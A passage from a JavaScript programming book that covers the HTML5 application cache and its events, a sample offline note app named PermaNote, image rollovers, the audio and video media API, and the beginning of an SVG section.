# MyApp version 1 (change this number to make browsers redownload the files)
MyApp.html
MyApp.js
```

Similarly, if you want a web app to uninstall itself from the application cache, you should delete the manifest file on the server, so that requests for it return an HTTP 404 Not Found error, and modify your HTML file or files so that they no longer link to the manifest.

Note that the browser checks the manifest and updates the cache asynchronously, after (or while) loading the cached copy of an application. For simple web apps, this means that after you update the manifest, the user must load the application twice before he sees the new version: the first load loads the old version from the cache and then updates the cache. Then the second load loads the new version from the cache.

The browser fires a number of events during the cache update process, and you can register handlers to track the process and provide feedback to the user. For example:

```
applicationCache.onupdateready = function() {
    var reload = confirm("A new version of this application is available\n" +
                         "and will be used the next time you reload.\n" +
                         "Do you want to reload now?");
    if (reload) location.reload();
}
```

Note that this event handler is registered on the ApplicationCache object that is the value of the `applicationCache` property of the Window. Browsers that support an application cache will define this property. In addition to the updateready event shown above, there are seven other application cache events you can monitor. Example 20-4 shows simple handlers that display messages to the user informing them of the progress of the cache update and of the current cache status.

Example 20-4. Handling application cache events

```
// The event handlers below all use this function to display status messages.
// Since the handlers all display status messages this way, they return false
// to cancel the event and prevent the browser from displaying its own status.
function status(msg) {
    // Display the message in the document element with id "statusline"
    document.getElementById("statusline").innerHTML = msg;
    console.log(msg);  // And also in the console for debugging
}

// Each time the application is loaded, it checks its manifest file.
// The checking event is always fired first when this process begins.
window.applicationCache.onchecking = function() {
    status("Checking for a new version.");
    return false;
};

// If the manifest file has not changed, and the app is already cached,
// the noupdate event is fired and the process ends.
window.applicationCache.onnoupdate = function() {
```

```
    status("This version is up-to-date.")
    return false;
};

// If the application is not already cached, or if the manifest has changed,
// the browser downloads and caches everything listed in the manifest.
// The downloading event signals the start of this download process.
window.applicationCache.ondownloading = function() {
    status("Downloading new version");
    window.progresscount = 0;  // Used in the progress handler below
    return false;
};

// progress events are fired periodically during the downloading process,
// typically once for each file downloaded.
window.applicationCache.onprogress = function(e) {
    // The event object should be a progress event (like those used by XHR2)
    // that allows us to compute a completion percentage, but if not,
    // we keep count of how many times we've been called.
    var progress = "";
    if (e && e.lengthComputable) // Progress event: compute percentage
        progress = " " + Math.round(100*e.loaded/e.total) + "%"
    else                         // Otherwise report # of times called
        progress = " (" + ++progresscount + ")"

    status("Downloading new version" + progress);
    return false;
};

// The first time an application is downloaded into the cache, the browser
// fires the cached event when the download is complete.
window.applicationCache.oncached = function() {
    status("This application is now cached locally");
    return false;
};

// When an already-cached application is updated, and the download is complete
// the browser fires "updateready". Note that the user will still be seeing
// the old version of the application when this event arrives.
window.applicationCache.onupdateready = function() {
    status("A new version has been downloaded.  Reload to run it");
    return false;
};

// If the browser is offline and the manifest cannot be checked, an "error"
// event is fired. This also happens if an uncached application references
// a manifest file that does not exist
window.applicationCache.onerror = function() {
    status("Couldn't load manifest or cache application");
    return false;
};

// If a cached application references a manifest file that does not exist,
// an obsolete event is fired and the application is removed from the cache.
// Subsequent loads are done from the network rather than from the cache.
window.applicationCache.onobsolete = function() {
```

```
    status("This application is no longer cached. " +
           "Reload to get the latest version from the network.");
    return false;
};
```

Each time an HTML file with a `manifest` attribute is loaded, the browser fires a checking event and loads the manifest file from the network. The events that follow the checking event are different in different situations:

No update available
: If the application is already in the cache, and the manifest file has not changed, the browser fires a noupdate event.

Update available
: If an application is cached, and its manifest file has changed, the browser fires a downloading event and begins downloading and caching all the files listed in the manifest. As this download occurs, it fires progress events. And when the download is complete, it fires an updateready event.

First load of new application
: If the application is not yet in the cache, downloading and progress events are fired as they are for the cache update case above. Once this initial download is complete, however, the browser fires a cached event rather than an updateready event.

Browser is offline
: If the browser is offline, it cannot check the manifest and it fires an error event. This also happens when an application that has not yet been cached refers to a manifest file that does not exist.

Manifest not found
: If the browser is online and the application is already cached, but the manifest file returns a 404 Not Found error, it fires an obsolete event and removes the application from the cache.

Note that all of these events are cancelable. The handlers in Example 20-4 returns `false` to cancel the default action associated with the events. This prevents browsers from displaying their own cache status messages. (At the time of this writing, browsers do not display any such messages.)

As an alternative to the event handlers, an application can also use the `applicationCache.status` property to determine the cache status. There are six possible values for this property:

`ApplicationCache.UNCACHED (0)`
: This application does not have a `manifest` attribute: it is not cached.

`ApplicationCache.IDLE (1)`
: The manifest has been checked and this application is cached and up to date.

`ApplicationCache.CHECKING (2)`
: The browser is checking the manifest file.

`ApplicationCache.DOWNLOADING (3)`
: The browser is downloading and caching files listed in the manifest.

`ApplicationCache.UPDATEREADY (4)`
: A new version of the application has been downloaded and cached.

`ApplicationCache.OBSOLETE (5)`
: The manifest no longer exists and the cache will be deleted.

The ApplicationCache object also defines two methods. `update()` explicitly invokes the cache update algorithm to check for a new version of the application. This causes the browser to run through the same manifest check (and fire the same events) as it does when an application is first loaded.

The `swapCache()` method is trickier. Recall that when the browser downloads and caches an updated version of an application, the user is still running the out-of-date version. If the user reloads the app, she'll see the new version. But if the user does not reload, the old version must still run correctly. And notice that the old version may still be loading resources from the cache: it might be using XMLHttpRequest to request files, for example, and these requests must be satisfied by files in the old version of the cache. Therefore, the browser must generally keep the old version of the cache until the user reloads the application.

The `swapCache()` method tells the browser that it can discard the old cache and satisfy any future requests from the new cache. Note that this does not reload the application: HTML files, images, scripts, and so on that have already been loaded are not changed. But any future requests will come from the new version of the cache. This can cause version-skew issues and is not generally a good idea unless your app is carefully designed to allow it. Imagine, for example, an application that does nothing but display a splash screen of some sort while the browser is checking the manifest. When it sees the noupdate event, it goes ahead and loads the application's start page. If it sees a downloading event, it displays appropriate progress feedback while the cache is updated. And when it gets an updateready event, it calls `swapCache()` and then loads the updated start page from the latest version of the cache.

Note that it only makes sense to call `swapCache()` when the `status` property has the value `ApplicationCache.UPDATEREADY` or `ApplicationCache.OBSOLETE`. (Calling `swapCache()` when the `status` is `OBSOLETE` discards the obsolete cache immediately, and satisfies all future requests via the network.) If you call `swapCache()` when `status` has any other value, it will throw an exception.

20.4.3 Offline Web Applications

An offline web application is one that installs itself in the application cache so that it is always available, even when the browser is offline. For the simplest cases—things like clocks and fractal generators—this is all a web app needs to do to become an offline web app. But most nontrivial web apps need to upload data to the server as well: even simple game apps might want to upload a user's high score to the server. Apps that

need to upload data to a server can be offline web apps if they use `localStorage` to store application data, and then upload it when an Internet connection is available. Synchronizing data between local storage and the server can be the trickiest part of converting a web app for offline use, especially when the user might be accessing the data from more than one device.

In order to work offline, a web application needs to be able to tell whether it is offline or online and needs to know when the state of the Internet connection changes. To check whether the browser is online, a web app can use the `navigator.onLine` property. And to detect changes in the connection state, it can register handlers for online and offline events on the Window object.

This chapter concludes with a simple offline web app that demonstrates these techniques. The app is called PermaNote—it is a simple note application that saves the user's text to `localStorage` and by uploading it to the server whenever an Internet connection is available.[1] PermaNote only allows the user to edit a single note, and it ignores authorization and authentication issues—it assumes the server has some way of distinguishing one user from another, but does not include any kind of login screen. The PermaNote implementation consists of three files. Example 20-5 is the cache manifest. It lists the other two files and specifies that the URL "note" should not be cached: that is the URL we use to read and write the note to the server.

Example 20-5. permanote.appcache

```
CACHE MANIFEST
# PermaNote v8
permanote.html
permanote.js
NETWORK:
note
```

Example 20-6 is the second PermaNote file: it is an HTML file that defines a very simple editor UI. It displays a `<textarea>` element with a row of buttons across the top and a status line for messages along the bottom. Notice that the `<html>` tag has a `manifest` attribute.

Example 20-6. permanote.html

```
<!DOCTYPE HTML>
<html manifest="permanote.appcache">
  <head>
    <title>PermaNote Editor</title>
    <script src="permanote.js"></script>
    <style>
    #editor { width: 100%; height: 250px; }
    #statusline { width: 100%; }
    </style>
```

1. This example was loosely inspired by Halfnote, by Aaron Boodman. Halfnote was one of the first offline web apps.

```
  </head>
  <body>
    <div id="toolbar">
      <button id="savebutton" onclick="save()">Save</button>
      <button onclick="sync()">Sync Note</button>
      <button onclick="applicationCache.update()">Update Application</button>
    </div>
    <textarea id="editor"></textarea>
    <div id="statusline"></div>
  </body>
</html>
```


Finally, Example 20-7 lists the JavaScript code that makes the PermaNote web application work. It defines a `status()` function for displaying messages on the status line, a `save()` function for saving the current version of the note to the server, and a `sync()` function for making sure that the server's copy and the local copy are in sync. The `save()` and `sync()` functions use scripted HTTP techniques from Chapter 18. (Interestingly, the `save()` function uses the HTTP "PUT" method instead of the much more common POST method.)

In addition to these three basic functions, Example 20-7 defines event handlers. In order to keep the local copy and the server's copy of the note synchronized, the app requires quite a few event handlers:

`onload`
: Try to sync with the server, in case there is a newer version of the note there, and once synchronization is complete, enable the editor window.

  The `save()` and `sync()` functions make HTTP requests, and they register an onload handler on the XMLHttpRequest object to be notified when the upload or download is complete.

`onbeforeunload`
: Save the current version of the note to the server if it has not been uploaded.

`oninput`
: Whenever the text in the `<textarea>` changes, save it in `localStorage`, and start a timer. If the user stops editing for 5 seconds, save the note to the server.

`onoffline`
: When the browser goes offline, display a message in the status line.

`ononline`
: When the browser comes back online, synchronize with the server, checking for a newer version, and saving the current version.

`onupdateready`
: If a new version of the cached application is ready, display a message in the status line to let the user know.

`onnoupdate`
: If the application cache has not changed, let the user know that he or she is running the current version.

With that overview of PermaNote's event-driven logic, here is Example 20-7.

Example 20-7. permanote.js

```
// Some variables we need throughout
var editor, statusline, savebutton, idletimer;

// The first time the application loads
window.onload = function() {
    // Initialize local storage if this is the first time
    if (localStorage.note == null) localStorage.note = "";
    if (localStorage.lastModified == null) localStorage.lastModified = 0;
    if (localStorage.lastSaved == null) localStorage.lastSaved = 0;

    // Find the elements that are the editor UI. Initialize global variables.
    editor = document.getElementById("editor");
    statusline = document.getElementById("statusline");
    savebutton = document.getElementById("savebutton");

    editor.value = localStorage.note; // Initialize editor with saved note
    editor.disabled = true;           // But don't allow editing until we sync

    // Whenever there is input in the textarea
    editor.addEventListener("input",
                            function (e) {
                                // Save the new value in localStorage
                                localStorage.note = editor.value;
                                localStorage.lastModified = Date.now();
                                // Reset the idle timer
                                if (idletimer) clearTimeout(idletimer);
                                idletimer = setTimeout(save, 5000);
                                // Enable the save button
                                savebutton.disabled = false;
                            },
                            false);

    // Each time the application loads, try to sync up with the server
    sync();
};

// Save to the server before navigating away from the page
window.onbeforeunload = function() {
    if (localStorage.lastModified > localStorage.lastSaved)
        save();
};

// If we go offline, let the user know
window.onoffline = function() { status("Offline"); }

// When we come online again, sync up.
window.ononline = function() { sync(); };

// Notify the user if there is a new version of this application available.
// We could also force a reload here with location.reload()
window.applicationCache.onupdateready = function() {
    status("A new version of this application is available. Reload to run it");
```

```
};

// Also let the user know if there is not a new version available.
window.applicationCache.onnoupdate = function() {
    status("You are running the latest version of the application.");
};

// A function to display a status message in the status line
function status(msg) { statusline.innerHTML = msg; }

// Upload the note text to the server (if we're online).
// Will be automatically called after 5 seconds of inactivity whenever
// the note has been modified.
function save() {
    if (idletimer) clearTimeout(idletimer);
    idletimer = null;

    if (navigator.onLine) {
        var xhr = new XMLHttpRequest();
        xhr.open("PUT", "/note");
        xhr.send(editor.value);
        xhr.onload = function() {
            localStorage.lastSaved = Date.now();
            savebutton.disabled = true;
        };
    }
}

// Check for a new version of the note on the server. If a newer
// version is not found, save the current version to the server.
function sync() {
   if (navigator.onLine) {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "/note");
        xhr.send();
        xhr.onload = function() {
            var remoteModTime = 0;
            if (xhr.status == 200) {
                var remoteModTime = xhr.getResponseHeader("Last-Modified");
                remoteModTime = new Date(remoteModTime).getTime();
            }

            if (remoteModTime > localStorage.lastModified) {
                status("Newer note found on server.");
                var useit =
                    confirm("There is a newer version of the note\n" +
                            "on the server. Click Ok to use that version\n"+
                            "or click Cancel to continue editing this\n"+
                            "version and overwrite the server");
                var now = Date.now();
                if (useit) {
                    editor.value = localStorage.note = xhr.responseText;
                    localStorage.lastSaved = now;
                    status("Newest version downloaded.");
                }
                else
```

```
                status("Ignoring newer version of the note.");
            localStorage.lastModified = now;
        }
        else
            status("You are editing the current version of the note.");

        if (localStorage.lastModified > localStorage.lastSaved) {
            save();
        }

        editor.disabled = false;  // Re-enable the editor
        editor.focus();           // And put cursor in it
    }
}
else { // If we are currently offline, we can't sync
    status("Can't sync while offline");
    editor.disabled = false;
    editor.focus();
}
}
```

CHAPTER 21

Scripted Media and Graphics

This chapter describes how to use JavaScript to manipulate images, control audio and video streams, and draw graphics. §21.1 explains traditional JavaScript techniques for visual effects such as image rollovers in which one static image is replaced by another when the mouse pointer moves over it. §21.2 covers the HTML5 `<audio>` and `<video>` elements and their JavaScript APIs.

After these first two sections on images, audio and video, the chapter moves on to cover two powerful technologies for drawing client-side graphics. The ability to dynamically generate sophisticated graphics in the browser is important for several reasons:

- The code used to produce graphics on the client side is typically much smaller than the images themselves, creating a substantial bandwidth savings.
- Dynamically generating graphics from real-time data uses a lot of CPU cycles. Offloading this task to the client reduces the load on the server, potentially saving on hardware costs.
- Generating graphics on the client is consistent with modern web application architecture in which servers provide data and clients manage the presentation of that data.

§21.3 explains Scalable Vector Graphics, or SVG. SVG is an XML-based language for describing graphics, and SVG drawings can be created and scripted using JavaScript and the DOM. Finally, §21.4 covers the HTML5 `<canvas>` element and its full-featured JavaScript API for client-side drawing. The `<canvas>` element is a revolutionary technology, and this chapter covers it in detail.

21.1 Scripting Images

Web pages include images using the HTML `<img>` element. Like all HTML elements, an `<img>` element can be scripted: setting the `src` property to a new URL causes the browser to load (if necessary) and display a new image. (You can also script the width

and height of an image, which will make the browser shrink or enlarge the image, but that technique is not demonstrated here.)

The ability to dynamically replace one image with another in an HTML document opens the door to a number of special effects. One common use for image replacement is to implement image rollovers, in which an image changes when the mouse pointer moves over it. When you make images clickable by placing them inside your hyperlinks, rollover effects are a powerful way to invite the user to click on the image. (Similar effects can be achieved without scripting using the CSS `:hover` pseudoclass to alter the background image of an element.) The following HTML fragment is a simple example: it creates an image that changes when the mouse moves over it:

```
<img src="images/help.gif"
    onmouseover="this.src='images/help_rollover.gif'"
    onmouseout="this.src='images/help.gif'">
```

The event handlers of the `<img>` element set the `src` property when the mouse moves over or out of the image. Image rollovers are strongly associated with clickability, so this `<img>` element should still be enclosed in an `<a>` element or given an `onclick` event handler.

In order to be useful, image rollovers (and similar effects) need to be responsive. This means that you need some way to ensure that the necessary images are "prefetched" into the browser's cache. Client-side JavaScript defines a special-purpose API for this purpose: to force an image to be cached, create an offscreen Image object using the `Image()` constructor. Next, load an image into it by setting the `src` property of this object to the desired URL. This image is not added to the document, so it does not become visible, but the browser nevertheless loads and caches the image data. Later, when the same URL is used for an onscreen image, it can be quickly loaded from the browser's cache, rather than slowly loaded over the network.

The image-rollover code fragment shown in the previous section did not prefetch the rollover image it used, so the user might notice a delay in the rollover effect the first time she moves the mouse over the image. To fix this problem, modify the code as follows:

```
<script>(new Image()).src = "images/help_rollover.gif";</script>
<img src="images/help.gif"
    onmouseover="this.src='images/help_rollover.gif'"
    onmouseout="this.src='images/help.gif'">
```

21.1.1 Unobtrusive Image Rollovers

The image rollover code just shown requires one `<script>` element and two JavaScript event-handler attributes to implement a single rollover effect. This is a perfect example of *obtrusive* JavaScript: the amount of JavaScript code is so large that it effectively obscures the HTML. Example 21-1 shows an unobtrusive alternative that allows you to create image rollovers by simply specifying a `data-rollover` attribute (see §15.4.3) on any `<img>` element. Note that this example uses the `onLoad()` function of Exam-

ple 13-5. It also uses the `document.images[]` array (see §15.2.3) to find all `<img>` elements in the document.

Example 21-1. Unobtrusive Image Rollovers

```
/**
 * rollover.js: unobtrusive image rollovers.
 *
 * To create image rollovers, include this module in your HTML file and
 * use the data-rollover attribute on any <img> element to specify the URL of
 * the rollover image. For example:
 *
 *   <img src="normal_image.png" data-rollover="rollover_image.png">
 *
 * Note that this module requires onLoad.js
 */
onLoad(function() { // Everything in one anonymous function: no symbols defined
    // Loop through all images, looking for the data-rollover attribute
    for(var i = 0; i < document.images.length; i++) {
        var img = document.images[i];
        var rollover = img.getAttribute("data-rollover");
        if (!rollover) continue;  // Skip images without data-rollover

        // Ensure that the rollover image is in the cache
        (new Image()).src = rollover;

        // Define an attribute to remember the default image URL
        img.setAttribute("data-rollout", img.src);

        // Register the event handlers that create the rollover effect
        img.onmouseover = function() {
            this.src = this.getAttribute("data-rollover");
        };
        img.onmouseout = function() {
            this.src = this.getAttribute("data-rollout");
        };
    }
});
```

21.2 Scripting Audio and Video

HTML5 introduces `<audio>` and `<video>` elements that are, in theory, as easy to use as the `<img>` element. In HTML5-enabled browsers, you no longer need to use plug-ins (like Flash) to embed sounds and movies in your HTML documents:

```
<audio src="background_music.mp3"/>
<video src="news.mov" width=320 height=240/>
```

In practice, the use of these elements is trickier than this, since browser vendors have not been able to agree on a standard audio and video codec that all will support, so you typically end up using `<source>` elements to specify multiple media sources in different formats:

```
<audio id="music">
<source src="music.mp3" type="audio/mpeg">
<source src="music.ogg" type='audio/ogg; codec="vorbis"'>
</audio>
```

Note that `<source>` elements have no content: there is no closing `</source>` tag, and you do not need to end them with `/>`

Browsers that support `<audio>` and `<video>` elements will not render these element's content. But browsers that do not support them do render their content, so you can put fallback content (such as an `<object>` element that invokes the Flash plug-in) inside:

```
<video id="news" width=640 height=480 controls preload>
  <!-- WebM format for Firefox and Chrome -->
  <source src="news.webm" type='video/webm; codecs="vp8, vorbis"'>
  <!-- H.264 format for IE and Safari -->
  <source src="news.mp4" type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'>
  <!-- Fall back on the Flash plugin -->
  <object width=640 height=480 type="application/x-shockwave-flash"
          data="flash_movie_player.swf">
    <!-- Param elements here configure the Flash movie player you're using -->
    <!-- Text is the ultimate fallback content -->
    <div>video element not supported and Flash plugin not installed.</div>
  </object>
</video>
```

`<audio>` and `<video>` elements support a `controls` attribute. If present (or if the corresponding JavaScript property is set to `true`), they display a set of playback controls that includes play and pause buttons, a volume control, and so on. In addition, however, the `<audio>` and `<video>` elements expose an API that gives scripts the power to control media playback, and you can use this API to add simple sound effects to your web application or to create your own custom control panels for sound and video. Although their visual appearance is very different, the `<audio>` and `<video>` elements share essentially the same API (the only real difference between them is that the `<video>` element has `width` and `height` properties) and almost everything that follows in this section applies to both elements.

The Audio() constructor

`<audio>` elements don't have any visual appearance in the document unless you set the `controls` attribute. And just as you can create an offscreen image with the `Image()` constructor, the HTML5 media API allows you to create an offscreen audio element with the `Audio()` constructor, passing a source URL as the argument:

```
new Audio("chime.wav").play();  // Load and play a sound effect
```

The return value of the `Audio()` constructor is the same kind of object you'd get when querying an `<audio>` element from the document, or creating a new one with `document.createElement("audio")`. Note that this is an audio-only feature of the media API: there is no corresponding `Video()` constructor.

Despite the frustrating requirement to define media in multiple file formats, the ability to play audio and video natively in the browser, without the use of plug-ins, is a powerful new feature in HTML5. Note that the problem of media codecs and browser compatibility is beyond the scope of this book. The subsections that follow focus only on the JavaScript API for working with audio and video streams.

21.2.1 Type Selection and Loading

If you want to test whether a media element can play a particular type of media, pass the media MIME type (possibly including a `codec` parameter) to the `canPlayType()` method. The element returns the empty string (a falsy value) if it cannot play that media type. Otherwise, it returns the string "maybe" or "probably". Because of the complicated nature of audio and video codecs, a player cannot in general be more certain than "probably" that it can play a particular media type without actually downloading the media and trying:

```
var a = new Audio();
if (a.canPlayType("audio/wav")) {
    a.src = "soundeffect.wav";
    a.play();
}
```

When you set the `src` property of a media element, it begins the process of loading that media. (That process won't go very far unless `preload` is "auto".) Setting `src` when some other media is loading or playing will abort the loading or playing of the old media. If you add `<source>` elements to a media element instead of setting the `src` attribute, the element cannot know when you have inserted a complete set of elements, and it will not begin choosing among the `<source>` elements and loading data until you explicitly call the `load()` method.

21.2.2 Controlling Media Playback

The most important methods of the `<audio>` and `<video>` elements are `play()` and `pause()`, which start and stop playback of the media:

```
// When the document has loaded, start playing some background music
window.addEventListener("load", function() {
                            document.getElementById("music").play();
                        }, false);
```

In addition to starting and stopping sound and video, you can skip (or "seek") to a desired location within the media by setting the `currentTime` property. This property specifies the time in seconds to which the player should skip, and it can be set while

the media is playing or while it is paused. (The `initialTime` and `duration` properties give the legal range of values for `currentTime`; more about those properties follows.)

The `volume` property specifies playback volume as a number between 0 (silent) and 1 (maximum volume). The `muted` property can be set to `true` to mute playback or set to `false` to resume playing sound at the specified `volume` level.

The `playbackRate` property specifies the speed at which the media is played. A value of 1.0 is the normal speed. Values greater than 1 are "fast forward" and values between 0 and 1 are "slow motion." Negative values are supposed to play the sound or video backward, but browsers do not support that feature at the time of this writing. `<audio>` and `<video>` elements also have a `defaultPlaybackRate` property. Whenever the `play()` method is invoked, the `playbackRate` property is set to `defaultPlaybackRate`.

Note that the `currentTime`, `volume`, `muted`, and `playbackRate` properties are not only for controlling media playback. If an `<audio>` or `<video>` element has the `controls` attribute, it displays player controls, giving the user control over playback. In that case, a script might query properties like `muted` and `currentTime` to discover how the media is being played.

The HTML attributes `controls`, `loop`, `preload`, and `autoplay` affect audio and video playback and can also be set and queried as JavaScript properties. `controls` specifies whether playback controls are displayed in the browser. Set this property to `true` to display controls or `false` to hide controls. The `loop` property is a boolean that specifies whether the media should play in a loop (`true`) or stop when it reaches the end (`false`). The `preload` property specifies whether (or how much) media content should be preloaded before the user starts playing the media. The value "none" means no data should be preloaded. The value "metadata" means that metadata such as duration, bitrate, and frame size should be loaded, but not media data itself. Browsers typically load metadata if you do not specify a `preload` attribute. The `preload` value "auto" means that the browser should preload as much of the media as it deems appropriate. Finally, the `autoplay` property specifies whether the media should begin to play automatically when a sufficient amount has been buffered. Setting `autoplay` to `true` obviously implies that the browser should preload media data.

21.2.3 Querying Media Status

`<audio>` and `<video>` elements have a number of read-only properties that describe the current state of the media and of the player. `paused` is `true` if the player is paused. `seeking` is `true` if the player is skipping to a new playback position. `ended` is `true` if the player has reached the end of the media and has stopped. (`ended` never becomes `true` if `loop` is true.)

The `duration` property specifies the duration of the media in seconds. If you query this property before the media metadata has been loaded, it returns `NaN`. For streaming media, such as Internet radio, with an indefinite duration, this property returns `Infinity`.

The `initialTime` property specifies the start time of the media, in seconds. For media clips of fixed duration, this is usually 0. For streaming media, this property gives the earliest time for which data is still buffered and which it is possible to seek back to. `currentTime` can never be set to less than `initialTime`.

Three other properties provide a finer-grained view of the media timeline and its playback and buffering status. The `played` property returns the time range or ranges that have been played. The `buffered` property returns the time range or ranges that are currently buffered, and the `seekable` property returns the time range or ranges that the player can currently seek to. (You might use these properties to implement a progress bar that illustrates the `currentTime` and `duration` along with how much of the media has played and how much is buffered.)

`played`, `buffered`, and `seekable` are `TimeRanges` objects. Each object has a `length` property that specifies the number of ranges it represents and `start()` and `end()` methods that return the start and end times (in seconds) of a numbered range. In the most common case of a single contiguous range of times, you'd use `start(0)` and `end(0)`. Assuming that no seeking has happened and media is buffered from the beginning, for example, you might use code like this to determine what percentage of a resource was buffered:

```
var percent_loaded = Math.floor(song.buffered.end(0) / song.duration * 100);
```

Finally, three more properties, `readyState`, `networkState`, and `error`, give low-level status details about `<audio>` and `<video>` elements. Each of the properties has a numeric value, and constants are defined for each of the legal values. Note that these constants are defined on the media object (or the error object) itself. You might use one in code like this:

```
if (song.readyState === song.HAVE_ENOUGH_DATA) song.play();
```

`readyState` specifies how much media data has been loaded, and therefore, how ready the element is to begin playing that data. The values for this property and their meanings are as follows:

Constant	Value	Description
HAVE_NOTHING	0	No media data or metadata has been loaded.
HAVE_METADATA	1	The media metadata has been loaded, but no data for the current playback position has been loaded. This means that you can query the `duration` of the media or the dimensions of a video and you can seek by setting `currentTime`, but the browser cannot currently play the media at `currentTime`.
HAVE_CURRENT_DATA	2	Media data for `currentTime` has been loaded, but not enough data has been loaded to allow the media to play. For video, this typically means that the current frame has loaded, but the next one has not. This state occurs at the end of a sound or movie.
HAVE_FUTURE_DATA	3	Enough media data has been loaded to begin playing, but it is likely not enough to play to the end of the media without pausing to download more data.

Constant	Value	Description
HAVE_ENOUGH_DATA	4	Enough media data has been loaded that the browser is likely to be able to play to the end without pausing.

The `networkState` property specifies whether (or why not) a media element is using the network:

Constant	Value	Description
NETWORK_EMPTY	0	The element has not started using the network. This would be the state before the `src` attribute was set, for example.
NETWORK_IDLE	1	The element is not currently loading data from the network. It might have loaded the complete resource, or might have buffered all the data it currently needs. Or it might have `preload` set to "none" and not yet have been asked to load or play the media.
NETWORK_LOADING	2	The element is currently using the network to load media data.
NETWORK_NO_SOURCE	3	The element was not able to find a media source that it is able to play.

When an error occurs in media loading or playback, the browser sets the `error` property of the `<audio>` or `<video>` element. If no error has occurred, `error` is `null`. Otherwise, it is an object with a numeric `code` property that describes the error. The error object also defines constants that describe the possible error codes:

Constant	Value	Description
MEDIA_ERR_ABORTED	1	The user asked the browser to stop loading the media
MEDIA_ERR_NETWORK	2	The media is of the right type, but a network error prevented it from being loaded.
MEDIA_ERR_DECODE	3	The media is of the right type, but an encoding error prevented it from being decoded and played.
MEDIA_ERR_SRC_NOT_SUPPORTED	4	The media specified by the `src` attribute is not a type that the browser can play.

You might use the `error` property with code like this:

```
if (song.error.code == song.error.MEDIA_ERR_DECODE)
    alert("Can't play song: corrupt audio data.");
```

21.2.4 Media Events

`<audio>` and `<video>` are fairly complex elements—they must respond to user interaction with their playback controls, to network activity, and even, during playback, to the simple passage of time—and we've just seen that these elements have quite a few properties that define their current state. Like most HTML elements, `<audio>` and `<video>` fire events whenever their state changes. Because these elements have such a complicated state, they can fire quite a few events.

Download from Wow! eBook <www.wowebook.com>

The table below summarizes the 22 media events, loosely in the order in which they are likely to occur. There are no event registration properties for these events. Use the `addEventListener()` method of the `<audio>` or `<video>` element to register handler functions.

Event Type	Description
`loadstart`	Triggered when the element begins requesting media data. `networkState` is `NETWORK_LOADING`.
`progress`	Network activity is continuing to load media data. `networkState` is `NETWORK_LOADING`. Typically fired between 2 and 8 times per second.
`loadedmetadata`	The media metadata has been loaded, and the duration and dimensions of the media are ready. `readyState` has changed to `HAVE_METADATA` for the first time.
`loadeddata`	Data for the current playback position has loaded for the first time, and `readyState` has changed to `HAVE_CURRENT_DATA`.
`canplay`	Enough media data has loaded that playback can begin, but additional buffering is likely to be required. `readyState` is `HAVE_FUTURE_DATA`.
`canplaythrough`	Enough media data has loaded that the media can probably be played all the way through without pausing to buffer more data. `readyState` is `HAVE_ENOUGH_DATA`.
`suspend`	The element has buffered enough data and has temporarily stopped downloading. `networkState` has changed to `NETWORK_IDLE`.
`stalled`	The element is trying to load data, but no data is arriving. `networkState` remains at `NETWORK_LOADING`.
`play`	The `play()` method has been invoked, or the `autoplay` attribute has caused the equivalent. If sufficient data has loaded, this event will be followed by a playing event. Otherwise a waiting event will follow.
`waiting`	Playback cannot begin, or playback has stopped, because there is not enough data buffered. A playing event will follow when enough data is ready.
`playing`	The media has begun to play.
`timeupdate`	The `currentTime` property has changed. During normal playback, this event is fired between 4 and 60 times per second, possibly depending on system load and how long the event handlers are taking to complete.
`pause`	The `pause()` method was called and playback has been paused.
`seeking`	The script or user has requested that playback skip to an unbuffered portion of the media and playback has stopped while data loads. The `seeking` property is `true`.
`seeked`	The `seeking` property has changed back to `false`.
`ended`	Playback has stopped because the end of the media has been reached.
`durationchange`	The `duration` property has changed
`volumechange`	The `volume` or `muted` property has changed.
`ratechange`	The `playbackRate` or `defaultPlaybackRate` has changed.
`abort`	The element has stopped loading data, typically at the user's request. `error.code` is `MEDIA_ERR_ABORTED`.

Event Type	Description
error	A network or other error prevented media data from being loaded. error.code is a value other than MEDIA_ERR_ABORTED.
emptied	An error or abort has caused the networkState to return to NETWORK_EMPTY.

21.3 SVG: Scalable Vector Graphics

SVG is an XML grammar for graphics. The word "vector" in its name indicates that it is fundamentally different from raster image formats, such as GIF, JPEG, and PNG, that specify a matrix of pixel values. Instead, an SVG "image" is a precise, resolution-independent (hence "scalable") description of the steps necessary to draw the desired graphic. Here is what a simple SVG file looks like:

```
<!-- Begin an SVG figure and declare our namespace -->
<svg xmlns="http://www.w3.org/2000/svg"
     viewBox="0 0 1000 1000">  <!-- Coordinate system for figure -->
  <defs>                       <!-- Set up some definitions we'll use -->
    <linearGradient id="fade"> <!-- a color gradient named "fade" -->
      <stop offset="0%" stop-color="#008"/>    <!-- Start a dark blue -->
      <stop offset="100%" stop-color="#ccf"/>  <!-- Fade to light blue -->
    </linearGradient>
  </defs>
  <!-- Draw a rectangle with a thick black border and fill it with the fade -->
  <rect x="100" y="200" width="800" height="600"
     stroke="black" stroke-width="25" fill="url(#fade)"/>
</svg>
```

Figure 21-1 shows what this SVG file looks like when rendered graphically.

SVG is a large and moderately complex grammar. In addition to simple shape-drawing primitives, it includes support for arbitrary curves, text, and animation. SVG graphics can even incorporate JavaScript scripts and CSS stylesheets to add behavior and presentation information. This section shows how client-side JavaScript code (embedded in HTML, not in SVG) can dynamically draw graphics using SVG. It includes examples of SVG drawing but can only scratch the surface of what is possible with SVG. Full details about SVG are available in the comprehensive, but quite readable, specification. The specification is maintained by the W3C at *http://www.w3.org/TR/SVG/*. Note that the specification includes a complete Document Object Model for SVG documents. This section manipulates SVG graphics using the standard XML DOM and does not use the SVG DOM at all.

At the time of this writing, all current browsers except IE support SVG (and IE9 will support it). In the latest browsers, you can display SVG images using an ordinary `<img>` element. Some slightly older browsers (such as Firefox 3.6) do not support this and require the use of an `<object>` element:

```
<object data="sample.svg" type="image/svg+xml" width="100" height="100"/>
```

Figure 21-1. A simple SVG graphic

When used with an `<img>` or `<object>` element, SVG is just another image format, and it is not particularly interesting to JavaScript programmers. It is more useful to embed SVG images directly within your documents, so they can be scripted. Since SVG is an XML grammar, you can embed it within XHTML documents like this:

```
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml"
      xmlns:svg="http://www.w3.org/2000/svg">
<!-- declare HTML as default namespace and SVG with "svg:" prefix -->
<body>
This is a red square: <svg:svg width="10" height="10">
    <svg:rect x="0" y="0" width="10" height="10" fill="red"/>
</svg:svg>
This is a blue circle: <svg:svg width="10" height="10">
